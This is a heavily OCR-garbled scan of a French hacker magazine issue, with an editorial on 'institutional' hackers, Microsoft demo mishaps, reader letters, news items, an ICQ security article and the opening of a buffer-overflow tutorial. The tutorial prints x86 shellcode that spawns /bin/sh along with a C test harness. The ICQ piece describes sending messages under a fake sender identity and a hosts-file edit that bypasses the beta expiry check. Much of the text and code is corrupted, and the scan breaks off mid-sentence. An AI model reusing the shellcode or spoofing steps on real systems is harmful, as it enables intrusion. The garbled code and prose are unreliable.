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Lo redaction rast pas responsabis dey textes, docamanty,
photon, qui o sont oommunigs. Le ridaction mest pas
fesponsable des tioes photos, dustrations @t deang gu
engagent (s ssuls redponsabiith de feurs suteurs. Seuf
accam partioulier: iy manmscrity, photos et dessing
nireseés & Hacker Mews Magame pubins ou non. ne sant
ni nendus ni temvoyde. L indications de prix ot dadresses
figlarmat dans ke pages ridactionnalies sont donndes & titre
dimformatian, sans aucun bt pibliciaine.
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Les hackers “institutionnels’

fiardons-nous Un instant sur une nolion apparue depus Gueigue temps dans e
monde de Mniformation : le hacking "Institutionnal”. Ow son! exaclement Ces DErsonnages
oé fombrs. cas hackars institubionnels dan! on parks ant 7 Proposons une définilion : e

instifufionnel n'est ni un policier, ni un inspécteur das douanes, il ne porte pas I'u-
niforme ef n'est pas un fonctionnalre. Ce serait plutd! un “bidoulsur” passionnd, comme beaucoup
dautres, dinformatique. A la différence prés quil collabore avec lss forces de l'ordre sur des en-
qudtes a caractére informaligue ef qu'l essale de former le parsonnel & Fanalyse des siuations. Car-
te compraéhension est indispensable pour pouvoir réagir et mener des enquétes elficaces, c'est-d-
diire, la plipar! du temps, veiller & ce quil n'y aif pas d'arreurs Udiclaires, de "bavures® (par exem-
ple, dviter qu'un jeune qui télécharge de la musique sur Intemat atterrisse devant un jugs...)

Le hacker instifutionnal paul sussi participar & des perquisitions...
sans tambour, ni trompefts © voiturs banalises &t discrélion som
de rigusur. La ooopération avec les forces de l'ordre est essen-
fielle ef si fon & la chance de fravailler avec des parsonnes qul
vous font confiance, en géndral tout se pssse bign, chacun ac-
complit ses tiches respectivas dans la plus grande sérdnitd. Le
pramier souo doit éire 08 foujours vénfier gue Mon se froive de-
vant la bonne personne (il arrive an effat gue on se trompe) &t
que fon m'a pas surestime lampleur du probléme. L instiutionnel”
doit faire preuve de beaucoup 08 Giscemament, CitT S85 SOUPCONS,
s'is s revélent fondés, peuvent smeansr un mdhidu devant ke tnbunal,
Pas quesion de dénoncer Un Encoand ou o= faie Quos que o8 st -
nadmissible par la justice ou s= propre conscence. La prudence est
toufours de mise. Le hacker gui cof=hore svec 8 justoe dofft svan? fout 5 as-
surer que oplle-ci ne e pes dorrsurs grossieres dévaluation. i ot auss faire
a1 sorte Quinternet ne devienns pas un lisu ds non-drodl, mais qul resie wn espsce de bertd. Pour
cela, # est toct & Skt Mgitime quR aids les fonctionnaires de Etat & trouver ia véns iorsquils son!
confrontés & des problémes informatigues complaxes.

5/ vous vous frouviez vous-méme dans uns siluaton ‘smbamassante’, qui soufiaiteriez-vous -
voir en face de vous 7 Quelgu'un qui n'a pas la compétence suffisants pour comprandre ioutes les
facettes du probléme ou bien un “expert” capable, par s8s connaissances, de vous discufper 7 L3
rdponse semble dvidenta... et nous pensons gue ke moment est venu pour [a communauts des
hackers da bien réfléchir sur cet aspect de leur “pouvoir”.

Hex.

Hacker News votre magazine

Vous souhailez participer a la vie de volre magazine ou lout simplement pousser un coup de

guenle ? N'hésitez pas & nous laire part de vos remarques 3

contact@hackernewsmag.com




Microsoft s'est surpasse
en accumulant trois
problémes techniques en
une seule presentation a
I'international Gonsumer
Hectronics Show 2003
de Las Vegas.

janvier, Las Vegas, Nevada
Malgré les rires des spectateurs, Bill Gates se bat avec la
lelecommande universelle qui devrait, normalement, aider
les utilisateurs & piloter tous les appareils mullimedias géres
par le systéme d'exploitation Windows Media Center.
Aprés avoir appuye en vain sur les touches pendant quelques dizeas-
nes de secondes, son expression, au départ souriante, vire a la
contrariete, laquelle semble destinée aux organisateurs de la pré-
sentation, Sa réplique, “Yep® (ouais), en guise de justification reste-
ra gravée dans les annales de Fhistoire de linformatigue. Pour tous
ceux qui y assistaient, la prestation ratée de I'un des hommes les
plus riches de la planéte, devant se plier aux caprices d'une télé-
commande congue dans ses usines, restera un moment inoublia-
: ble. Et ce ne fut que la premiére d'une longue série
e, de gaffes qui a émaillé la journée...
Entre chacune des interventions, le chef de
la division Informatique, Sean Alexander,
semblant de prime abord tout a fait sir de
lui, s'est lul aussi démené avec Windows
Media Center. Au moment de presenter la con-
nexion du Tablel PC a Internet : mangue de
i chance, celle-ci ne fonctionne pas ! Pour faire

3 188 GAFFES 8
-MICRO

face a cefte situation embarrassanie, Alexander s'est méme pla-
cé devant 'écran du Tablet PC afin que la caméra de télévision
ninsiste pas frop sur cet ... .incident : "Je renconire de petits problé-
mes de connexion Internel ; par conségquent, poursuivons la pre-
sentafion, nous réessaierons plus tard. " Evidemment, plus rien ou
presque ne s'est affiche a l'ecran.

C'est Garrett Young, le chef de projet
du jeu Xbox Forza Motorsports, qui aj
mis la touche finale & cette démonsira-
tion... avec ['écran bleu d'avertissement
“out of system memony" ! "Excusez-moi,
cela fail parlie des aléas d'une démo, fai
di épuiser la mémeire systéme,

Imaginez ce qui se serail passe si javais

- ON PEUT
TROUVER
LA VIDEO

Sans coupures (170 Mo en streaming), des mésaveniures hila-
rantes de Microsolt & Las Vegas  ['adrasse :
http://metahost.savvislive com/microsoft20050105/ms._ces_ 20060
105300 _archiveold. asx

"Want |

eté en frain de personnakser une voiture ou sl favais eté dans une
phase de jeu particulierement intéressant... Vous savez quoi 7
Nous pouvons sauter cette partie de la démo, car elle est ennuyeu-
se et assez lente."

Que peut-on ajouter a cela ? Quelle que soit notre opinion
personnelle sur Microsoft et Bill Gates, il faut bien reconnai-
tre qu'ils nous font bien rire.

Un conseil de hacker : avant une démonsiration en public,
remplacez toujours les piles de votre télécommande :) o
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Pour NE PAS SE
faire avoir sur
ehay

it !

SJ.‘n decice o acheter sureBay une car-
fe doccasion et pas chére pour mon PC
que Jfal fromne aupves a'un revendeusr aux
Efats-Unis, Lo probame guy 5 pose 8 mof
ast le suivand © be vendeur veul étre paye
par carte bleue, miis je n'en al pas, elant
encore minelr, Je poturrds ulilzer colle de
mes parents, mads [hasite & donner lour
nurméro de CB Y a-1-l un mayern de con-
tournar la probigme ? Avez-vous des sug-
gestions 7

= Yhaloz =

Litiliser une car-
te de débit 1 A
I'heure actuel-
le, de nom-
breuses ban-
: ques propo-
sent des cartes prépayées et
rechargeables & volonié et uniquement
du montant souhaité. De cette fagon, si
une carte venait a tomber entre des
mains peu scrupuleuses, au pire on per-
drail I'argent déposa, mais pas celui du
compte couranl de papa. En Nalie, les
mineurs ont la possibilité de se procu-
rer facilermnent ta carte "PostePay” (car-
te prépayée et rechargeable de la Posle
italienne), dans tous les bureaux de
poste. Elle n'est pas chere et elle est
reconnue par le circuit intemational Visa
el Visa Electron (elle peul étre utilisée
pour effectuer des opérations électro-
nigues et non manuelles: on peut I'uti-
liser entre autres pour prélever de l'ar-
gent, effectuer des achats et payer des
factures), Ellc fonctionne aussi sur eBay
: nous l'avons fesice !

ttention ! La modification NeoKey décri-

te dans un des numdros d'Hacker News
Magazine ne marche pas sur fes consoles
V7-Va (pour connaitre la varsion de la con-
sole que vous possedez, visitez le site :
hitp.'www modchip iVENAndex. asp). Elle
necessilie Action Replay 2 ou DVD-RegionX
el ne permetl pas de lancer les jeux
EASports siis n'ont pas éie préalablement
modifies avec le programme specifique
EAUniversalPalcher. On peul trouver lou-

Lfncefom conselle de
alirer la batterie du
bios afin de supprimer le
mot de passe, mais i faul
favoir desactivée au prea-
lable parce que lorsque
I refournes dans e bios,
la fanétre “tnsdrer mot de
passe” apparall & nouveaw,. El si. par hasard, il
e venad egalermant & Nespeit de la faire sautor
d la poéle, tu pourrais dire adieu & fon ordina-
teur |

MXE

Merci & toi aussi, mxb, Fais gaffe a bien sui-
vre les instructions, alors!

fes les infor-
mations sur la
meame sile.

Merci milaaz22.

Mous atten-
dons égale-
ment VoS
commentaires a ce

sujet | I

Je voudrais remarcier fauteur de larticie
*Comment pirater on cible USE" pans dansun
des angians numeros. La procédure diait partar
te ot je utilise toujours.

Jo souhafterals également préciser que fal 13
ans. carcela ne me deplairait pas o dtre félicid
comme EaglE qui se trouvait avant moi dans o




Au swel du probieme des "Telecoms " qu
vewdant nous enlever la possibiiite d'avoir
FADSL sans teigphone, je vous signala fexishan-
ce d'un site de profestation ol Fon frouve Ln
forum, L code pour inserer une banniére de
protestation dans son sile personnel une ban-
migre de protestation, ef un ract & disiibuer je
devrais normalement lavoir terming x lorsgue
HNAM sara an kiosque). L'adresse Web est
hitpevewsydarex. altervista. orgfadsl!

Je spuhateras vous poser quelquies quesions:
- Est-co que les Telecoms ont le droil ge s'op-
poserd la caution ? Clest-a-dive qu'elie st pro-
pritalre des instalistions - MEiat ne devral-i pas
hormalement fobliger & respecter a ol 7

- Fourgioi esi-ce que les groupaments de con-
sommatauns ot les enfreprses (celles qur pocr-
n.. | raentaie ki) sen

A e _1-';.':2':.':‘.‘:: moguent 7

g = | Comment pounvons-

— MOUS NOUS ¥ OppoSer

— gy sarieusament 7 Nous
el e souhaions quand

méeme pas la fin du
aecref Urbant 7
e Sydlarex

La seule constatation gue nous pouvons fai-
re est, qu'a I'adresse indiquée sur
la pétition, le doeument en guestion
n'existe plus. Est-ce que cela a une signifi-
cation ?

Remarquabie, lp projet dun port paraliéle | Mals,
potir alfurmer bt LED, i ne faut instalier of relals,
ni optoisolataur, nf alimentatedur. car vous vous
imagine: une discoiheque remplie de relais 71
Wy aurait un gros fic-tac en fond musical, Ef la-
limentateur nest pas nécessalre, car le port
paraligle marche sur 12V, ce qui esl plus que
suffisant pour huit LED. Done, on pouvait irés
ben amver au méme résuitat en reliant au port
paraliéle huit résistances de 1 Kohm de D (1) &
[ (8} et en branchant & celles-ci, avec un seul

1, e pdie nagalif des LED. Ce profet que vous

aver congy 11'est valabie que forsgue vous davez
commandar, it partir du PC, quelgue chose qui
necassito dnormdmant oa puissance,

souhiaite apparter mon moignage s suje! de
i*encyclopddia Hifick® ©
H y a quelques anndes de cela, lorsque fes BBS
efzrent ines & l3 mods, [avals rouve un bug dans le
programme qul ks gerait. S, en fenfant de feléchar-
ger un fichier & partir o'un BBS; pour une fawson
guelcongue la commanication élait coupde, coux
gui s'dtatent reconnecias immédiatement aprés (o
me souviens quiautneicis les BBS ne dispasaiont
pas d'autani de lignes ef donc ¥ dtaif s courant
qgue 2 ligne soit occtpée) se seraient connaclis
aulomafiquament avee ie logim of ka mol de passe
der ceix Uil essapaiant de leldcharger le ichiee fis
aurmient donc pu ttiiser af modifier ke logim du pro-
priétaire avec i'ensemble de ses privilbges asso-
cigs. Comme nimporte qual utlisateur lauai far, fz-
vals avertiie Sy=0p... qui n'y préta pas atfention ;)
(€ 'est probablement fhabiude de nombraux admi-
nistratours, non 7) Au revoir
Borelina

C'est en 1978 gue Ward Christensen com-
menca & travalller sur le premier projet de ce
qui deviendra plus
tard le premier
CBBS ["Chicago
Bulletin Board Sys-
tem®, dont le nom
{ut ensuite modifia
en "Compuler
BES?), c'est-a-dire
un micro-ordinatour relie a une figne telé-
phonique, par lintermédiaire d'un modem
(1200 bis).

Salut, fe sufs un de vos tres
grands agmiraietirs.
Termeazr

Merci pour tes considéra-
tions, mais :

itu Vas dit, en effet, le but
n'était pas que les huit
LED s'allument en méme temps, mais plu-
ot que l'on pulsse visualiser I'éiat des relals.
Pour alimenter les ampoules d'un arbre de
Noél, donl nous ne connaissons ni la gquan-
1ité ni la puissance absorbée, les relals sont
Ia solution la plus simple, la plus sire et la
plus universelle. De plus. on peut y relier
tout ce gue I'on veut.

I L'optoisolateur {(ou optocoupleur) n'est

pas la pour embellir le paysage, mais par

S:l‘u‘.‘ & o, p voulats wars BIGEET oL WoirD meadgasng.
En plus o cela, ji voLItIs vous paner dun Sie - désonmas,
presoue fout e monde connalt Mozilla, mials 51 vous alior sir
Iz sie hifpcrwwwtmozila, i, VOUS PaLTes vous mscrve & k2
COMMUNALINE, pour parkiciper ak o, el vous pourmes pren-
dre part aux racherches of au développement die Mosita. En
effel, si vous disposes des connaissances en infarmalique
necessaires, vous pourmes travaller s e developpemant du
navigatair en frangis ; snon, vous poumez collabanar au pro-
fet ef tracduisant dfanglais en francas foufes les informations
MISEs i (NSPASINN par i85 orpansaleors oy sie

Mr k
Avoir [a chance de participer @ un projel inléressant est
toujours utile et instrictif, Par contre, 5'abstenir c'est com-
me perdre son temps...

Jo voulais vous parier 'un nouveny
site que ['ai crée pour rappelor les vic-
times d'Asie. Ladresse esl :
http:/fisunamiasia.altervista.org
Giano87

mesure de sécurité. il évite les retours
"l de courant de toutes sortes sur le port

paralléle. )
%4 - Situ as des besolns comparables &
g ceux d'une discothéque ou bien des
problémes de bruit, tu peux installer
des triacs & la place des relals. lls sont
sllencieux et efficaces. mais a réserver
aux plus expérimentées.
!l Le port paralléle ne va pas jusqu'a 12V
Les signaux sont compatibles TTLen 5V
par rapport a la masse el le courant maxi-
miNT que nous pouvons "puiser” est d'en-
viron 14 mA. Donc, pour éviter tout incon-
vénient et en supposant que le port paralie-
le a été congu selon des normes récentes,
les résistances dont tu parles devront tou-
tes étre de 3300 chms.
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» REPLIGATION
DU VER [

quelgues jours, sept
variantes du ver Cabir ont
#té trouvées pour le systéme
d'exploitation des téléphones
mobiles Symbian 6.0, C'est
un avertissement qui nous
informe que |'ch peut récu-
pérer son code source sur
Intarnet, parce que les vanan-
tes sont simples et obtenues
par recompilation du code |

MAC MIN
HEAL POUR LES HACKERS

| est petit et trés puissant, il se présente sous la forme d'un boitier carré en

aluminium anodisé mesurant guére plus de 16 cm de coté pour 5,08 cm de
hauteur. Cela signifie quil faudrait en superposer au moins sept pour atteindre la
hauteur moyenne d'une four de PC. A lintérieur, se trouve toute la puissance d'un syste-
me d'exploitation Mac OS X, et nimporte quel écran peut faire laffaire : de 'ancien
moniteur VGA a celuil haute définition avec sorties DVE On peut méme brancher sa
bonne vieille telévision grace a un adaptateur vidéo S -vidéo/composite.

Aisément dissimulable (tout est ullra miniaturisé), ke Mac mini abnte un pro-
cesseur G4 d'une capacite maximale de 1 Go de BAM, un
processeur graphique Ali Radeon 8200 avec 32 Mo de
mémoire SDRAM DDR.

Il dispose evidemment de toutes les connexions intégrées
(Ethernet, USB, Firewire, madem), d'un disque dur de 80
Go et demplacements pour carte AirPort Extreme (pour | |__
les connexions réseau wireless) el IB l:
module Blustooth interne, www.ﬂll“ " I|
Apple a egalement présenté toute

une série de nouveaules pour son

systéme d'exploitation : voir la démo el les
autres préseniations de produits a 'adresse www.applefr

etvidéo permettant d'obtenir une qualité de tran-
smission vidéo surprenante et une compression
telle qu'elle autorise une vidéoconférence a qua-
tre participants. Vious trouverez toutes les infor-
mations & |'adresse hitp/Awww.apple.com/it/

d'origine. Peut-ire, lors de vos prochaines
recherches, frouverez-vous ce code. ..

[
»» GOMPRESSE Al

H | macosw/tigerh264 him

i."'..'.L Ll i Selon fes dévelag-
ous I'avons vu pears,  I'N264
ke devraieal afrir 10

sein de Mac Os X

Tiger, la nouvelle {3y e compressian

évolution d'Apple : suptrieur 3 eelyi do

H:264 est le plus

récent codec audio MPEG 4 de 33%.

1p6) ( www.hackermeg.com) |




GRASH DU SERVEUR
WINDOWS AU MACWORLD

I semblerait que le serveur Windows, bizar-
rement utilisé par I'organisation du “Mac-
world Expo®, Ies sites Apple, basés sur Mac 05
Server, onl tout 4 fait bien résisté, Cela a été
dévoile par une
déclaration de
Netcralt, eflec-
tuee exacte-
ment pendant
la présentalion
foma des nouveaux
IPod Shutfle et du nouveau Apple Mac mini
Vous trowverez toutes les informations a ce sujel
a l'adresse http:/fnews.netcraft.com/archi-
ves 2000014 24apple_store_macworld expo si
les_slowed by heavy traffic.htm|

»DEVELOPPEUR DE VIRUS
ARRETE (1 ;1111

e développeur qui avait créé un cheval

de Troie qui lui permettait d'accéder aux
comptes courants bancaires te ses victi-
mes a £1é arrété par la police espagnole. Le
virus s'élait répandu dans le monde entier
grace aux réseaux d'échange de fichiers
peer to pesr.
La justice rendue !

m ‘ o

s HOT NEWS &=
SAUVE PAR SA WEBCAM

vu tout @ coup

qui peut armver,

| chattait avec sa webeam lorsque son inler-
locutrice I'a

i gem frelworees | |

Imoge{20).jsg
Menu

3 ® db

ENCORE DES PATCHS
POUR LES FAMLLES

WENT
icrosoft a sorti trois patchs pour bou-
les failles découvertes le mois der-

OWS

s'ecrouler. Con nier. Ceux qui ne disposent pas du Service
naissant fadres- | @) W @ Pack 2 sontendanger; pour les autres, i reste
se du domicile | e | tout de méme une brache non encore colma-
de |'internaute tée. Les fros vuinérabiités décolvertes par des
en détresse, cel- chercheurs chinots (ol ont repandu leurs

le=ci @ prévenu exploits respectifs) touchaient parti-

la police, quia cubérement les précédentes ver- *
ainsi pu secou- sions du SP2. La bréche pre-

rir lg malheu- sente dans XP SP2 concernait

rews. Morale de une limita du mécanisme de

I'histoire | maon- protection appeit "Local Machk-

trez-vous plus ne Zones Lockdown", qui sert 3

souvent, on ne bloquer les possibles évenemenis

sait jamais ce exéoutés ors de [uliisation de docu-

ments HTML dans ke "Local Machine Zones'".
Mais le contrdle *HTML Help ActiveX"
(Hhcirl.ocx) n'est pas bioqué par la fonction
"Local Machine Zones Lockdown”™ et if est done
possbie de s'en senvir pour executer des sorpls
o peuvent ouvir automatquement des fichsers
arbitraires acives par des fonclions lelles que
le "glisser/déposer”, Mais beavcoup deau a
coulé sous les ponts depus Ia découverte de
ces vuinérabilités. Qu'a-tl bien pu encore se
passer pendant cette période 7

REFOX LUF AUSSH PLEN DE FARLLES |

a cause en est un défaut dans l'affichage

es adresses Web trés longues. Aucune
solution n'a encore été trouvee. Le risque est
de tomber sur une adresse Weh malicieuse qui,

au lieu de nous condulre au site indiqué, prend
des chemins détournés, devenant ainsi un puis-
sant allié pour les propagateurs de “phishing”,
{ceux qui détournent des sites sécurisés pour

récupérer les données). Les développeurs

impligues dans le projet Mozilla promettent une solution pour la prochaine version
Entretemnps, espérons que ['attention des individus malintentionnés sem toujours aus
si partée sur des produits plus répandus... ceux da Microsoft par exemple.

| tn 1) { www hackermag.com )




LG
;'k-—’ e

) L .
— Warn all debut de I'ér ‘ .

. Iniernet, IGQ a fait [ache ~ Qe
(hunle. . . tout comme Ies NG ‘
méhodes pour attaguer Ies ‘ ‘ |

——— Ordinateurs qui utilisent .f

comectement confi- 48
guré, Un programme de mes-
Sagono Bsl comme une porie

|
———— / dexploitationn'estpas  ouverle sur

{
b

a jour, risquent non Fextérieur, W
seulement etacetitrei
_,_l détre attaqués, mais peut lamser ong

Tove s QuE L UTW 5
res en ot e YOUT CE A T8 e

i ™
| anciens protocoles 14
utilisés par ICQ sont S p“r,guuj dit pas, en d‘autmﬁ::;_“
231 vraies passoires c'i'-e‘-'l‘-" #1C0 (réservé aux :::r -
i ' contre, la demiere rﬁn"’mﬁe'—-’el d NS .{-ggr.ar m-ut.; t N
| versu:rg;:st; certane- l:a-‘r‘:'-'ﬁi':‘“ héta d1C0 558 '!:E{j‘i:
| . elle offre aux utilisa- s2 hﬂn"-‘l‘;;;'gi‘;:" e
- teurs toute une sénie  cqo_SeD 2
I d'opbions qui en font fun
i des programmes de
| messagerie
— instantanée les pius
: I sirs... a condi-  Oscar est régulierement mis a jour. A
. 7 tion toute-  lement amivé a ka version 9, il contrued
fois quiil voluer. Pour des raisons de compafibi
- : ' s0it  avec les anciens serveurs ICQ), les dé
= . peurs attribuent un code interne a chy

! 4 sortie, qui comespond ensuite & ceg
4% nous téléchargeons sur lg 8

. www.icq.com. Toutefols, on ne con
pas encore tout sur Oscar, et nous.i
kers, sommes chargés de deéchiffre
tilisation de certains parametes




protocole. Une opération réservée

aux experls, auxguels nous pouvons

nous mesurer a ladresse http:fiser-
verd.khstu.ru foscar/wanted.htmi.

Il etles
tentatives dattague

de spoafing, com-
me le bon view: Lame Toy (attention, c'est
aussi le nom d'un virus ! Soyez bien s0r
qu'il s'agit du programme avant de le 1élé-
charger), gui pouvait méme aller jusqu'a
efiacer la liste des contacts de lordinateur
altague.
Les premieres versions d'1CQ pouvaient
egalement ouvrir un petit serveur Web sur
l'ordinateur de |'utilisateur, qui pouvail ain-
si créer sa page Web personnelle. Mais 'u-
tilizsation de Telnel pouvait cra-sher le
senveur en question et son client cor-
respondant. Et ainsi de suite, d'atta-
gue en altaque.

[le I'agresse
a l'agresseur

On peut
le canstater lorsque I'on se trouve der-
rigre un NAT ou un routeur qui dissi-
mule notre veritable adresse IF. Il suf-
fit de se rendre a la page
www.icg.com/<UIN =, ol < I'UIN (Uni-
versal Internet Number) = est le numé-
ro d'identification ICQ de |a personne a
qui nous souhaitons envoyer un mes-
sage, el de choisir un pseudonyme et
une adresse e-mail de notre invention.
Le destinataire recevra alors le mes-
sage avec ce nom fictif, sans savoir que
'adresse email n'existe pas. Méliance

tout de méme, car la premiére ligne
du message indique l'adresse IP
de l'expéditeur, ce qui suffirait &
nous * découvrir *. Il faut absolu-

ment, pour que cela marche,

gue nous soyons derriere un NAT

qui dissimule notre véritable adresse

IF. Bien évidemment, ¢'esl une protec-

tion qui a ses limites : une enguéte

approfondie auprés du NAT en que-

stion permetirait foujours de remanter
jusgu'a nous,

s o Concernant les adresses IP, ICQ a tou-

- jours tendance a ne pas les dévoiler,

mais il suffit de se tourner vers certains

programmes alternatifs, comme Miran-

p— e da (www.miranda-im_org), pour obtenir

automatiqguement, parmi les détails de

PIRATAGE DE L INSTALLATIDN
DicQ 5

mi““"j'h“i* il estimpossible d'installer la version béta |-
'IC0 5, car sa dale limite d'installation est dépassée. |~
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Mais pour contourner le probleme, vous pouvez éditer un
fichier en vous aidant du site * icq-4u.com "
Dans Windows XP, le fichier se trouve dans e répertoire |-
CAWINDOWS system32\drivers\etc. el il s'appelle hosts
{sans extension). Sur Windows 95/98/ME, le fichier est loca-
lisé dans C:\Windows \ Ouvrez-le 4 |'aide de Notepad, puis ajoutez 80.190.244.8 cb.ico.com
a la derniére ligne.

Tout de suite aprés lnstallation et avani |'enregistrement sur le serveur d'ICQ avec le numero
d'identification et le mot de passe, vous pouvez supprimer [a ligne. Ainsi, aucune information
fIe sera envoyde au site* icg-4u.com ". Ge systéme fonctionne parce que lorsque nous instal-
lons ICQ 5, 18 site est interrogé camme 4 'habitude et répond * fa période de est béta est ter-
minés " mais que le site * leg-4u * offre, lui, une autonsation alermative

|cQ 4 \ES SEPT
SREGLES D'OR

| est donc obligatoire de se proteger con-

tre les intrusions via ICQ. 1l suffit pour
cela d'appliquer cerlaines regles frés sim-
ples. Si nous savons exploiter comme il se
doit les différentes options proposées, ces
protections sont réellement efficaces. En voi-
ol quelgues-unes
il - | de demande d'autorisa-
tion dans * owmer preferences for/General My
authorization is required before... etc. * pour
gu‘un contact demande votre autorisation
avant de pouvair vous inserer dans sa liste
de contacts.
@ | i it provenant uni-
quermnent de sa propre fiste de contacts (dans
ICQ 4, ¢'est la premiére oplion du spam con-
trol).
@ En 0 acoeptant famis de messages pro-
venant d'Emall Express, vous éviteres égale-
ment certaines plaisanteres douleuses,
O En uhligant seuvent la liste noire, vous
empéchez certains utilisateurs d'lCQ de pou-
vaoir accéder A votre PC. Dans 100 4, il faut
activer I nptmn "lgnore List'.
@ Pla 10 b lete grise les ufilisateurs
qui peuvent vous Voir uniquement au cours
d'actions précises, par exemple lorsque vous
BVOYEZ LN message, Ainsi, vous serez tou-
jours invisible pour certains utilisateurs. Pour
cela, il faut l,immr I ﬂpuun "Invisible List".
O s s (Visible List)
tous les utilisateurs autorisés a vous vair
miéme lorsque vous avez choisi d'étre invi-
sible. Vous apparaitrez aves 'ictne d'invisi-
billté pour ceux gui ne sont pas autorisés a
vous voir, et avec liciine on-line pour ceux
qui e sont.
€ Mo pas intdrer d'inddemallons personnel-
les dans la rubrigue "Petsonal info” de Ja fiche
d'enregistrement : pas de nom, d'adressa
personnelle ou d'e-mall eotramment ulilisé.
Il vaut mietx indiquer ti compte e-mail
gratuit et anenyme que vous aurez
préalablement ouvert. Quant a votre
date de naissance et volre sexe,
c'est 3 vous de décider.

chaque contact, également
I'adresse IP correspondante.
Ceci peut effectivement compor-
ter des inconvénients, parce qu'u-
ne adresse IP est toujours un point de
départ : si un scanneur de ports la
detecte, | sera en mesure de récolter
des informations personnelles sur le
correspondant.



‘objectif d'une telle attague
siste & exécuter UHEB arbl-
traire au sein du systéme atta-
qué. Celui-ci paut tre unishell
code, qui permet 4 'agress=0r de
déchainar n'importe quelle atta-
que au sein du systéme.

Le shell code comprend une série de com-
mandes en langage Assembieur, || suffit de
les écrire dans |a pile (stack, en anglais) et
de remplacer l'adresse de retour peyreve-
nir & la pile. En utilisant cette méthod&, on
peul insérer le code dans un processus
vulnérable et ensuite 'exécuter directernen

dans la pile. |

Un systéme communément utilise paties
engendrer des codes Assembleur 8n'

mesure de faire fonctionner un shell est,
execve(), qui charge et exécute du code

binaire en finissant par 'axécution du pree
cessus courant. La page man de execvel)

(qui permet de visionner le manuel de laf

commande) dit qu'il faut utiliser la syntaxe
suivante :

i

+ SN

. Ung image JPES malgne sufft  lancar unp altague G overow, Cels s SRR ool .
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int esecue (const char *filename, char
*const argu (1, char *const enupll);

Voyons comment la commande fonc-
tlonne, en la démontant :

# gdb /lib/libc.s0.6

(gdb) disas execue

Durmp of assermbler code for function exec-
Ve

OxSdall:  pushl %ehu

/*|everitable appel systéme. Auant qu'un
programme appelle esecue, ce dernier
effeciue |e push sur Ia stack des argu-
ments dans |'ordre inUerse : *“enup,

L *fllename */
/* met l'adresse de **enup dans le regi-
streeds =/
Ox5dall: moul OS10(7esp, 1), 7edu
/*metl'adresse de **argu dans le registre
ecy*/
OxSdalS: mowl OwclZesp,1),%ecH
/*met l'adresse de *filename dans le regi-
stre ebu */
Ow5dal9: mod DeB(7esp. 1), Zebu
/* met Oxb dans le registre ERH; Oub ==
E:nawedamletdimqmémm
W
OxSdald: moul SOub, ZeaH
/* passe |e controle au kermel, pour exe-
cuter l'instruction esecue */
DxSdal2: int 304BO

DwSdal4: popl 7ebu

DuSdals: cmpl SOMTTFIFO0L, 7eaH
xSdala: jee OxSdald __suscall error
Ox5dalc: ret

End of assembler durmp.

Une petite astuce permet d'utiliser le

g nombreuy agparesls en rEseay inporporent s contriles pour prévenin e fanger o' altape

uer overfiow.

shell code sans avoir a se reporter,
conventionnellement, aux arguments
en mémoire ;

Estimons la taille du shell code et utili-
sons les instructions jmp <byte> et call
<byte> pour avancer ou reculer du nom-
bre d'octets indigue dans le thread d'exe-
cution. Linstruction call paut mémariser
automatiquement sur |a stack une adres-
se de retour qul correspond aux quatre
octets qui suivent l'instruction elle-mé&me.
Si nous faisons suivre Immédiatament
I'appel d'une variable, nous exécutons
indirectement un push de son adresse
sur la stack sans avoir bescin de le con-
naitra.

0 jmp (saute 2 octet vers'avant)

2 popl Tesi

... Cest icl que la ou les fonction(s) sont
placées ...

2 call<-2+2 (saute 2-2 byte en arriére,
en direction de POPL)

2+5.s5tring  (premiére variable)

Le code peut comporter plusieurs

.strings (chaines), dans le cas ol nous
souhaitons écrire du code plus comple-
xe que celul d'un simple interpréteur de
commandes. En connaissant la taille des
8trings, on peut calculer leur position rela-
tive aprés avoir localisé la premiére chai-
ne.

Voici le véritable shell code :
global code_start /*il sera utile
ultérieurement */
global code_end

Hata
code_start:

jmp OHI7

popl Fesi

moul Tesi,0x8(%esi) /> place I'a-

dresse de **argu derriere |e shell code,
0x8 octets en arriére, en laissant de la
place pour un /bin/sh */

Horl 7ean, Zeas
Fean*/

/* met 0 dans

QU'EST-GE QU'UN SHELL CODE 7

| s*agit d*un programme écrit en langage Assembly qui exécute un shell, comme /bin/sh

d'Unix (Linux, Mae 08 X) ou command.com de Windows._ L'objectif d'une attague buffer

. Overflow est souvent d'injecter du shell code dans fa mémoire
f permet a l'attaguant de donner des commandes au moyen du shell introduit dans e systéme.

de l'ordinateur attagu fui

‘11 www.hackermeg.com




TALIBAN FEARS
INDEPENDENT,
ARMED WOMEN.

mouh Zean,0n?(7esi) ~metuni
de fin aprés la chaine /hin/sh */

movl %esw,Duc{Zesi) /*unautred
pour arriver a la taille d'un long word */

My_EHECUE;

UNIY

? ,\LU

e code Assembleur et les lechniques décri-
fonclionnent sur des systémes munis
rocesseur xB86 d'intel. On peut les
inditféremment avec

mes Unix, comme Linuw, ou Windo

v dition de bien connaitre ke langage G,

| et des langages d'un niveau plus éle
.. Perl

B2 wewhackermag.com

'ﬁ.un

moub $0xb, Zal /*enecvel */
moul Fesi,Zeby /* “/hin/sh”,
wf
leal DrB(Resi), Rech /T B di
“/hindsh™, */
Horl Fedu, Tedu /*NULL *f
int $0HED el - */
mil =0ulc
ng “/bin/shi"  /*Hest
s m:l.lh Teean,OH?(Fesi) */

On peut déduire les offsets relatifs
0x17 et -0x17 en Insérant 0x0, en com-
pilant, puis en démontant et en faisant
attention & la taille du shell code,

Clest un shell code percutant, et en plus
il fundlt:nne | | faudrait au moins déman-
ter Fappel systéme exit() et I'ajouter avant
I'appel, mais |8 véritable art du shell code
consiste plutét a éviter tout zéro binaire
dans le code, 0 qui trés souvent indique
la fin du buffer et des caractéres de con-
trole, que certains programmes sont en
mesure de filtrer. La plupart du temps, on
utilise des codes " automodifiants ", com-
me dans l'instruction movh
“oeax,0x7(%esi) ol 'on remplace le X par
Y0, mals sans aveir de \0 de début dans
le shell code.

Essayons de voir sl cela marche. D'a-
bord, sauvegardons le code ci-dessus
sous le nom decode.S (retirons les com-
mentaires) et e qui sult sous le nom de
codec:

eHtern vald code_start();

extern void code_end();

#include <stdio.hy

main() { ((void (*){void)) code_start)(); }

# tc -o code codice.S codice.c
# /eode
hash#

Maintenant, nous pouvons convertir le’

shell code dans un buffer de carac-

teres hexadécimaux. La meilleure |

fagon de procéder est dimprimer

#include <stdio.h»

1 extern void code_start(); estern void

code_end();
main() {
fprintfistderr,”7%s",code_start); |

Aprés quoi nous effectuerons un
| parsing au moyen de aconv -h o

QUEST CE QU'UNE STACK?

ne stack, ou pile, est une simiciure de dog-
